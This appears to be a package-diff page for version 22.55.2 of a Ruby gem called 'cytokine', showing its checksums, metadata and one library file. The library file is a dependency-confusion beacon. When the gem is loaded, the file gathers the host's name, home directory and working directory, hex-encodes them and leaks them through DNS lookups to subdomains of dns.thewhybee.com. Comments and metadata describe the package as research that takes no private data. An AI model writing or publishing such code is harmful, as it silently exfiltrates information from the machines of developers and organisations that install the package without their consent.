cytokine 22.55.2
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +7 -0
- data/lib/cytokine.rb +63 -0
- metadata +45 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: d043bf010e1ac517df25b783851e03eaf1321216110391ebc0cfea003c8a0fd4
|
4
|
+
data.tar.gz: 9f1efd30e677ff4074433970e31c707d556e5754d67f7bbbc6ded40b92189fb3
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 273bc17e09ae9ad2ac85d0cf3ae5b63594537455b5ed1fde2cbf79d37616e79f52314a5354d9ebe16c4b12cd08cf5b4466262a2c0266713135dc6eed8503b73a
|
7
|
+
data.tar.gz: 1ebc07e420c57f1ffb873539bd67e39b6e89947207c4ff8c616571f69031b008b0ad8953f34f8006f389c78db66e0b983655ee9985e76da6aac8204d220b3e3d
|
data/lib/cytokine.rb
ADDED
@@ -0,0 +1,63 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
This code is used for research purposes.
|
4
|
+
|
5
|
+
No sensitive data is retrieved.
|
6
|
+
|
7
|
+
Callbacks from within organizations with a
|
8
|
+
responsible disclosure policy will be reported
|
9
|
+
directly to the organizations.
|
10
|
+
|
11
|
+
Any other callbacks will be ignored, and
|
12
|
+
any associated data will not be kept.
|
13
|
+
|
14
|
+
For any questions or suggestions:
|
15
|
+
|
16
|
+
whybee@thewhybee.com
|
17
|
+
|
18
|
+
|
19
|
+
=end
|
20
|
+
|
21
|
+
require 'socket'
|
22
|
+
require 'json'
|
23
|
+
require 'resolv'
|
24
|
+
|
25
|
+
suffix = '.dns.thewhybee.com'
|
26
|
+
ns = 'dns.dns.thewhybee.com'
|
27
|
+
|
28
|
+
package = 'cytokine'
|
29
|
+
|
30
|
+
# only the bare minimum to be able to identify
|
31
|
+
# a vulnerable organization
|
32
|
+
data = {
|
33
|
+
'p' => package,
|
34
|
+
'h' => Socket.gethostname,
|
35
|
+
'd' => File.expand_path('~'),
|
36
|
+
'c' => Dir.pwd
|
37
|
+
}
|
38
|
+
|
39
|
+
data = JSON.generate(data)
|
40
|
+
data = data.unpack('H*')[0].scan(/.{1,60}/)
|
41
|
+
|
42
|
+
id_1 = rand(36**12).to_s(36)
|
43
|
+
id_2 = rand(36**12).to_s(36)
|
44
|
+
|
45
|
+
begin
|
46
|
+
ns_ip = Resolv.getaddress(ns)
|
47
|
+
rescue
|
48
|
+
ns_ip = '4.4.4.4'
|
49
|
+
end
|
50
|
+
|
51
|
+
custom_res = Resolv.new([Resolv::Hosts.new,
|
52
|
+
Resolv::DNS.new(nameserver: [ns_ip, '8.8.8.8'])])
|
53
|
+
|
54
|
+
|
55
|
+
data.each.each_with_index do |chunk, idx|
|
56
|
+
begin
|
57
|
+
Resolv.getaddress 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
|
58
|
+
rescue; end
|
59
|
+
|
60
|
+
begin
|
61
|
+
custom_res.getaddress 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
|
62
|
+
rescue; end
|
63
|
+
end
|
metadata
ADDED
@@ -0,0 +1,45 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: cytokine
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 22.55.2
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- whybee
|
8
|
+
autorequire:
|
9
|
+
bindir: bin
|
10
|
+
cert_chain: []
|
11
|
+
date: 2022-04-18 00:00:00.000000000 Z
|
12
|
+
dependencies: []
|
13
|
+
description: |-
|
14
|
+
This package is meant for security research purposes and does not contain
|
15
|
+
any useful code.
|
16
|
+
email: whybee@thewhybee.com
|
17
|
+
executables: []
|
18
|
+
extensions: []
|
19
|
+
extra_rdoc_files: []
|
20
|
+
files:
|
21
|
+
- lib/cytokine.rb
|
22
|
+
homepage: http://github.com
|
23
|
+
licenses: []
|
24
|
+
metadata: {}
|
25
|
+
post_install_message:
|
26
|
+
rdoc_options: []
|
27
|
+
require_paths:
|
28
|
+
- lib
|
29
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
30
|
+
requirements:
|
31
|
+
- - ">="
|
32
|
+
- !ruby/object:Gem::Version
|
33
|
+
version: '0'
|
34
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
35
|
+
requirements:
|
36
|
+
- - ">="
|
37
|
+
- !ruby/object:Gem::Version
|
38
|
+
version: '0'
|
39
|
+
requirements: []
|
40
|
+
rubygems_version: 3.0.3
|
41
|
+
signing_key:
|
42
|
+
specification_version: 4
|
43
|
+
summary: Security research purposes only - No private data exfiltrated - A. Birsan
|
44
|
+
Method only
|
45
|
+
test_files: []
|